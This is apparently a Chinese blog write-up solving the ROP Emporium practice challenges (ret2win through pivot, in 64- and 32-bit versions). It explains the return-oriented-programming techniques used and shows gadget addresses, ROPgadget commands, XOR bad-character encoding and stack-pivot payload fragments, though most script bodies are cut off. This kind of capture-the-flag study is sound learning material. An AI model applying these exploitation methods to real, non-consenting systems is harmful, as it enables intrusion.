前言
虽然说简单,但是后面badchar后面的rop还是学到了不少东西的~
程序默认开启nx
1 | CANARY : disabled |
如果是so就多开了个PIE
ret2win
直接覆盖返回地址为win函数
1 | # -*- coding: utf-8 -*- |
ret2win32
32位版
1 | # -*- coding: utf-8 -*- |
split
这次有个函数执行/bin/ls
我们看看字符串,刚好有个/bin/cat flag.txt
1 | # strings ./split |
exp
1 | # -*- coding: utf-8 -*- |
split32
1 | # -*- coding: utf-8 -*- |
callme
就是依次调用callmeone,two,three,参数是1,2,3就行
1 | # -*- coding: utf-8 -*- |
callme32
32位,栈上传参而已
1 | # -*- coding: utf-8 -*- |
write4
这个的话没有/bin/cat flag.txt
字符串了,那么这就需要我们写到内存了
加入我们想用fgets写到内存需要3个参数,但是gadgets里面没有pop rdx的,那么就不能给第三个参数传参,那么我们可以找其他方法,通过汇编的mov看看有什么组件
我选择了下面两个,目标地址写到bss
1 | 0x0000000000400820 : mov qword ptr [r14], r15 ; ret |
我们先写个cat flag.txt试试
1 | # -*- coding: utf-8 -*- |
我们直接写个sh试试,只贴payload
当然你改成/bin/sh\x00
也可以
1 | get_sh = "sh".ljust(8, "\x00") |
write432
这个也是类似的
1 | # -*- coding: utf-8 -*- |
badchars
一开始一看这么简单,badchars是这几个,但是有个b和s,我们就不能/bin/sh了
1 | void pwnme() |
那我们就要对payload加密,之后运行的时候再解密了
按照官方的提示,是要xor加密,之后再用gadgets解密
首先可以找下可以用于异或的数字,找10以内的(其实有些还是不行,比如4是传输结束,这应该不行)
1 | # -*- coding: utf-8 -*- |
运行结果,那我们选个3吧,有时候传不过去的话可能这个ascii代表传输结束什么的,
1 | 3 |
我们通过ROPgadget,找到一些组件,先将我们的/bin/sh写到bss,再去解密,再执行
1 | # -*- coding: utf-8 -*- |
badchars32
这个也用xor吧,这次我们异或0xff
1 | # -*- coding: utf-8 -*- |
fluff
来到这的时候已经没有了mov指令了,但下面的吸引了我
mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
再找一下给rdx赋值的,但我们没法操作rdx啊
再找找,找不到啊
看下别人的wp,原来还有个–depth的参数
ROPgadget –binary ./fluff –depth 20
我们就选用这条mov
1 | 0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret |
但找不到pop r10,r11啊,返回空
1 | ROPgadget --binary ./fluff --depth 20 | grep "pop r10" |
直接找看看r11相关的
1 | ROPgadget --binary ./fluff --depth 20 | grep "r11" |
最后两个不就可以通过r12赋值给r11吗,在查下r12,有pop可以
1 | 0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret |
而且上面有个交换r11,r10的,不也可以给r10赋值了吗
而且看了下程序,原理作者都写到一块去了
1 | .text:0000000000400820 public questionableGadgets |
最终payload
1 | # -*- coding: utf-8 -*- |
fluff32
有了上一题的经验,直接找到作者内嵌汇编写的组件
1 | .text:08048670 questionableGadgets |
最终代码
1 | # -*- coding: utf-8 -*- |
pivot
一上来我就看这了
1 | .text:0000000000400B00 public usefulGadgets |
这个使用了so文件,ret2win在这个so文件里面实现,但是这个so是开启了PIE的
1 | .text:0000000000000ABE public ret2win |
查看pwnme函数,首先给了256大小的给你存放pivot,之后再溢出
1 | char *__fastcall pwnme(char *a1) |
所以我们需要先”泄露”地址咯,由于栈溢出的缓冲区大小比较少,完成泄露+执行完全不够用,所以要跳到a1去ROP,这技术叫stack pivot,栈翻转,就是让esp指向别处,在那rop
信息泄露的话,这里只有foothold_function是so里面的,而且存在got表,泄露完计算偏移就好
1 | .got.plt:0000000000602048 off_602048 dq offset foothold_function |
由于这个函数没调用,需要调用一次,got表才会存在真正的地址
最终exp
1 | # -*- coding: utf-8 -*- |
pivot32
这个有如下gadgets
1 | .text:080488C0 usefulGadgets |
最终exp
1 | # -*- coding: utf-8 -*- |
其实栈翻转我们一般用leave;ret,上面64位有0x0a,所以用不了
上面的stack pivot可以用如下payload:
1 | leave_ret = 0x080486a8 |